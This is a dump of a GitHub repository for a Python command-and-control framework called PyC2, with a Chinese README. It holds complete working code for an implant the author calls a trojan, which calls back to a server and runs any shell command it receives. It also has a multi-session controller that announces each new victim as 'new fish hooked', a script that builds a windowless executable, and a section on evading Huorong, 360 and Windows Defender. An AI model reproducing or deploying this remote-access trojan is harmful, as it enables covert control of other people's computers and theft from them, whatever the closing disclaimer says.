├── .idea ├── vcs.xml └── workspace.xml ├── README.md ├── gen.py ├── images ├── 1.png ├── 2.png └── 3.png ├── implant.py ├── pyc2server.py ├── requirements.txt └── settings.py /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 13 | 14 | 15 | 16 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 48 | 49 | 50 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 1657608637042 88 | 93 | 94 | 95 | 96 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # python版简易Command and Control (C2) 2 | 3 | ## 介绍 4 | 5 | 1. 使用socket建立网络传输 6 | 2. 解决了tcp粘包问题 7 | 3. 支持多个sessions切换 8 | 4. 跨平台支持windows/linux 9 | 5. 支持系统命令执行功能 10 | 6. 解决implant异常退出 11 | 7. 上线语音播报提示 12 | 8. 等等... 13 | 14 | ## 安装 15 | 16 | 环境 17 | 18 | ``` 19 | python >= 3.7 20 | windows/linux 21 | ``` 22 | 23 | 安装 24 | 25 | ```` 26 | git clone https://github.com/1derian/PyC2.git 27 | cd PyC2 28 | pip3 install -r requirements.txt 29 | ```` 30 | 31 | ## 使用 32 | 33 | 编辑配置文件 34 | 35 | ``` 36 | vim settings.py 37 | 38 | SERVER_LISTEN_IP = "127.0.0.1" # c2server监听地址,如果是vps上使用,监听0.0.0.0,内网地址监听对应地址即可 39 | SERVER_LISTEN_PORT = 7788 # c2server监听端口 40 | AGENT_CONNECT_IP = "127.0.0.1" # agent回连c2的ip地址 41 | AGENT_CONNECT_PORT = 7788 # agent回连c2的端口 42 | SERVER_LISTEN_NUM = 20 # c2server监听的个数 43 | ``` 44 | 45 | 启动服务端 46 | 47 | ``` 48 | python3 pyc2server.py 49 | ``` 50 | 51 | 由于python打包不支持跨平台编译 , 需要使用者在对应的平台上事先编译好 52 | 53 | 编译命令 54 | 55 | ``` 56 | windows 57 | python3 gen.py -f implant.py -o implant.exe 58 | 59 | linux 60 | python3 gen.py -f implant.py -o implant 61 | ``` 62 | 63 | 运行 implant , pyc2server收到对应的sessions链接 64 | 65 | ``` 66 | 双击运行生成的 implant.exe 67 | 68 | D:\PyC2>python3 pyc2server.py 69 | [+](no_session) >新鱼上钩, 地址: ('127.0.0.1', 11142) 70 | 71 | [+](no_session) > 72 | ``` 73 | 74 | 查看sessions 75 | 76 | ``` 77 | [+](no_session) >sessions 78 | 1 ('127.0.0.1', 11142) 79 | ``` 80 | 81 | 进入session , 并执行命令 82 | 83 | ``` 84 | [+](no_session) >sessions -i 1 85 | ('127.0.0.1', 11142)>whoami 86 | win11\administrator 87 | ``` 88 | 89 | 杀死 session 90 | 91 | ``` 92 | [+](no_session) >kill 1 93 | [+](no_session) >sessions 94 | 当前sessions为空 95 | ``` 96 | 97 | 查看帮助 98 | 99 | ``` 100 | [+](no_session) >help 101 | 102 | Command and Control (C2) 103 | 104 | sessions 显示存活的session回话 105 | session -i *session id* 进入指定回话的shell,输入quite退出shell 106 | kill *session id* 退出指定回话 107 | help 打印帮助信息 108 | clear 清空屏幕 109 | exit 退出c2并关闭所有回话 110 | ``` 111 | 112 | 清除当前终端内容 113 | 114 | ``` 115 | [+](no_session) > clear 116 | ``` 117 | 118 | 退出pyc2server 119 | 120 | ``` 121 | [+](no_session) >exit 122 | 123 | D:\PyC2> 124 | ``` 125 | 126 | ## 免杀测试 127 | 128 | 文件名修改 implant.exe --> agent.exe 129 | 130 | 火绒 131 | 132 | ![image-20220605141817304](./images/1.png) 133 | 134 | 360 135 | 136 | ![image-20220605141848450](./images/2.png) 137 | 138 | windows defender 139 | 140 | ![image-20220605141903936](./images/3.png) 141 | 142 | ## 免责声明🧐 143 | 144 | 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建测试环境。 145 | 146 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 147 | 148 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 149 | -------------------------------------------------------------------------------- /gen.py: -------------------------------------------------------------------------------- 1 | import os 2 | import argparse 3 | 4 | 5 | def main(file, output): 6 | exec_cmd = f"pyinstaller -F -w {file} -n {output}" 7 | os.system(exec_cmd) 8 | 9 | 10 | if __name__ == '__main__': 11 | parser = argparse.ArgumentParser(description="implant 生成工具") 12 | parser.add_argument("-f", "--file", dest="file", help="input a file") 13 | parser.add_argument("-o", "--output", dest="output", help="save file path") 14 | args = parser.parse_args() 15 | 16 | main(args.file, args.output) 17 | -------------------------------------------------------------------------------- /images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/1.png -------------------------------------------------------------------------------- /images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/2.png -------------------------------------------------------------------------------- /images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/3.png -------------------------------------------------------------------------------- /implant.py: -------------------------------------------------------------------------------- 1 | # 受控端木马 2 | # 自己回连服务端,接收命令,执行命令,结果回复给服务端 3 | import os 4 | import socket 5 | import struct 6 | import subprocess 7 | import settings 8 | 9 | 10 | def exec_cmd(command, code_flag): 11 | """执行命令函数""" 12 | command = command.decode("utf-8") 13 | # 1.处理cd命令 14 | if command[:2] == "cd" and len(command) > 2: 15 | try: 16 | os.chdir(command[3:]) 17 | # 返回当前切换到的路径 18 | cmd_path = os.getcwd() 19 | stdout_res = f"切换到 {cmd_path} 路径下" 20 | except Exception: 21 | stdout_res = f"系统找不到指定的路径。: {command[3:]}" 22 | else: 23 | obj = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 24 | stdin=subprocess.PIPE) # 没有一个结束时间 vim 会一直卡在这一行 25 | stdout_res = obj.stdout.read() + obj.stderr.read() 26 | # 2.处理无回显命令 27 | if not stdout_res: 28 | stdout_res = f"{command} 执行成功" 29 | else: 30 | try: 31 | # cmd执行系统命令的编码 32 | stdout_res = stdout_res.decode(code_flag) 33 | except Exception: 34 | # 如果是打印 utf-8 编码保存的文件 35 | if code_flag == "gbk": 36 | code_flag = "utf-8" 37 | elif code_flag == "utf-8": 38 | code_flag = "gbk" 39 | stdout_res = stdout_res.decode(code_flag) 40 | return stdout_res.strip() 41 | 42 | 43 | def send_data(conn, data): 44 | """ 45 | 发送数据函数 , 解决粘包问题 46 | :param conn: sock 47 | :param data: data/cmd 48 | :return: None 49 | """ 50 | # 新增发送命令的粘包解决方案 51 | # 计算命令长度 , 打包发送 52 | cmd_len = struct.pack('i', len(data)) 53 | conn.send(cmd_len) 54 | # 发送命令 55 | if type(data) == str: # 注意 str 不需要单引号 56 | data = data.encode("utf-8") 57 | conn.send(data) # utf-8编码发送 ,类型是字节 58 | return 59 | 60 | 61 | def recv_data(sock, buf_size=1024): 62 | """ 63 | 接收数据函数 , 解决粘包问题 64 | :param client: client 65 | :param buf_size: buf_size=1024 66 | :return: data byte 67 | """ 68 | # 先接受命令执行结果的长度 69 | x = sock.recv(4) 70 | all_size = struct.unpack('i', x)[0] 71 | # 接收真实数据 72 | recv_size = 0 73 | data = b'' 74 | while recv_size < all_size: 75 | data += sock.recv(buf_size) 76 | recv_size += buf_size 77 | return data 78 | 79 | 80 | def main(): 81 | sock = socket.socket() 82 | sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) 83 | # 接收数据 84 | code_flag = "gbk" if os.name == "nt" else "utf-8" 85 | while 1: 86 | try: 87 | cmd = recv_data(sock) 88 | if cmd == b'exit': 89 | sock.close() 90 | # 命令--> 执行 91 | res = exec_cmd(cmd, code_flag) 92 | # 发送结果 93 | send_data(sock, res) 94 | except Exception: 95 | sock.close() 96 | break 97 | 98 | 99 | if __name__ == '__main__': 100 | main() 101 | -------------------------------------------------------------------------------- /pyc2server.py: -------------------------------------------------------------------------------- 1 | # 监听,发送命令,接收命令回显 2 | import os 3 | import socket 4 | import struct 5 | import threading 6 | 7 | import pyttsx3 8 | import settings 9 | 10 | 11 | def recv_data(conn, buf_size=1024): 12 | """ 13 | 解决粘包的接收数据函数 14 | :param conn: sock对象 15 | :param buf_size: buf_size=1024 16 | :return: data bytes类型 17 | """ 18 | # 先接受命令执行结果的长度 19 | x = conn.recv(4) 20 | all_size = struct.unpack('i', x)[0] 21 | # 解密(all_size) 22 | # 接收真实数据 23 | recv_size = 0 24 | data = b'' 25 | while recv_size < all_size: 26 | data += conn.recv(buf_size) 27 | # data = 解密(data) 28 | recv_size += buf_size 29 | return data 30 | 31 | 32 | def send_data(conn, data): 33 | """ 34 | 发送数据函数 , 解决粘包问题 35 | :param conn: sock 36 | :param data: data/cmd 37 | :return: None 38 | """ 39 | if not data: return 40 | # 新增发送命令的粘包解决方案 41 | # 计算命令长度 , 打包发送 42 | cmd_len = struct.pack('i', len(data)) 43 | conn.send(cmd_len) 44 | # 发送命令 45 | if type(data) == str: # 注意 str 不需要单引号 46 | data = data.encode("utf-8") 47 | # data = 加密(data) 48 | conn.send(data) # utf-8编码发送 ,类型是字节 49 | return 50 | # res_data = recv_data(conn) 51 | # print(res_data.decode('gbk')) 52 | 53 | 54 | def change_prompt(sign): 55 | global num, prompt 56 | num = num + 1 if sign == "+" else num - 1 57 | prompt = f"[-][{num}-sessions]" 58 | 59 | 60 | def accept_connections(sock): 61 | while 1: 62 | try: 63 | if stop_flag: 64 | break 65 | conn, addr = sock.accept() 66 | change_prompt("+") 67 | print(f"新鱼上钩, 地址: {addr}") 68 | engine = pyttsx3.init() 69 | engine.say("老大,你有新的主机上线") 70 | engine.runAndWait() 71 | sessions.append([conn, addr]) 72 | except Exception: 73 | pass 74 | 75 | 76 | def print_help(): 77 | print(''' 78 | Command and Control (C2) 79 | 80 | sessions 显示存活的session回话 81 | session -i *session id* 进入指定回话的shell,输入quite退出shell 82 | kill *session id* 退出指定回话 83 | help 打印帮助信息 84 | clear 清空屏幕 85 | exit 退出c2并关闭所有回话 86 | ''') 87 | 88 | 89 | def shell_session(current_session): 90 | # 通过current_session获取conn和addr 91 | conn, addr = current_session 92 | while 1: 93 | try: 94 | # 先接收对方的os 95 | cmd = input(f'{addr}>').strip() 96 | if not cmd: continue 97 | if cmd.lower() in ["quit", "exit"]: return 98 | # 发送数据 99 | send_data(conn, cmd) 100 | # 接收结构 101 | res_data = recv_data(conn) 102 | print(res_data.decode("utf-8")) 103 | except KeyboardInterrupt: 104 | pass 105 | except Exception: 106 | conn.close() 107 | print(f"{addr} 异常退出") 108 | # session 死了,从session列表中删除 109 | sessions.remove(current_session) 110 | return 111 | 112 | 113 | def main(): 114 | # 1.建立socket对象 115 | sock = socket.socket() 116 | # 2.绑定地址 117 | sock.bind((settings.SERVER_LISTEN_IP, settings.SERVER_LISTEN_PORT)) 118 | # 3.监听 119 | sock.listen(settings.SERVER_LISTEN_NUM) 120 | # 4.等待链接 121 | # 开启一个子线程,死循环接收用户的发起链接的请求 122 | # 创建线程接收半连接 123 | print("[-]等待链接...") 124 | t1 = threading.Thread(target=accept_connections, args=(sock,)) 125 | # 开启线程 126 | t1.start() 127 | # 思路 128 | # 1.小菜单 129 | global prompt 130 | while 1: 131 | order = input(f"{prompt}>").strip() 132 | if not order: continue 133 | if order.lower() == "help": 134 | # 打印小菜单帮助信息 135 | print_help() 136 | elif order == "sessions": 137 | if not sessions: 138 | print("[-]当前sessions为空") 139 | # 打印当前存活的session 140 | for i, v in enumerate(sessions): 141 | print(f"{i + 1} {v[1]}") 142 | elif order[:12] == 'sessions -i ': 143 | # 进入指定的回话,然后执行命令 144 | num = order[12:] 145 | # 判断序号是否是数字,以及是否存在 146 | if num.isdigit() and 0 < int(num) <= len(sessions): 147 | # 存在num , 进入到 执行命令 148 | # 通过num获取当前的conn 149 | current_session = sessions[int(num) - 1] 150 | shell_session(current_session) 151 | 152 | else: 153 | print("请输入存在的 session id") 154 | elif order == "clear": 155 | cmd = "cls" if os.name == "nt" else "clear" 156 | os.system(cmd) 157 | elif order[:5] == "kill ": 158 | num = order[5:] 159 | if num.isdigit() and 0 < int(num) <= len(sessions): 160 | current_session = sessions[int(num) - 1] 161 | conn, addr = current_session 162 | # 直接发送一个exit命令 163 | send_data(conn, 'exit') 164 | conn.close() 165 | sessions.remove(current_session) 166 | print(f"[+] {addr} is killed") 167 | change_prompt("-") 168 | else: 169 | print("请输入存在的 session id") 170 | elif order == "exit": 171 | # 关闭所有的session 172 | for session in sessions: 173 | conn, addr = session 174 | # 直接发送一个exit命令 175 | send_data(conn, 'exit') 176 | conn.close() 177 | sessions.remove(session) 178 | print(f"[+]all session is killed and exit") 179 | # 把子线程结束掉 180 | sock.close() 181 | global stop_flag 182 | stop_flag = True 183 | t1.join() 184 | break 185 | else: 186 | print("[-]输入的指令不存在 , help查看全部指令") 187 | 188 | 189 | if __name__ == '__main__': 190 | sessions = [] 191 | stop_flag = False 192 | num = 0 193 | prompt = f"[-][{num}-sessions]" 194 | main() 195 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyttsx3==2.90 2 | pyinstaller -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | SERVER_LISTEN_IP = "127.0.0.1" 2 | SERVER_LISTEN_PORT = 7788 3 | IMPLANT_CONNECT_IP = "127.0.0.1" 4 | IMPLANT_CONNECT_PORT = 7788 5 | SERVER_LISTEN_NUM = 20 --------------------------------------------------------------------------------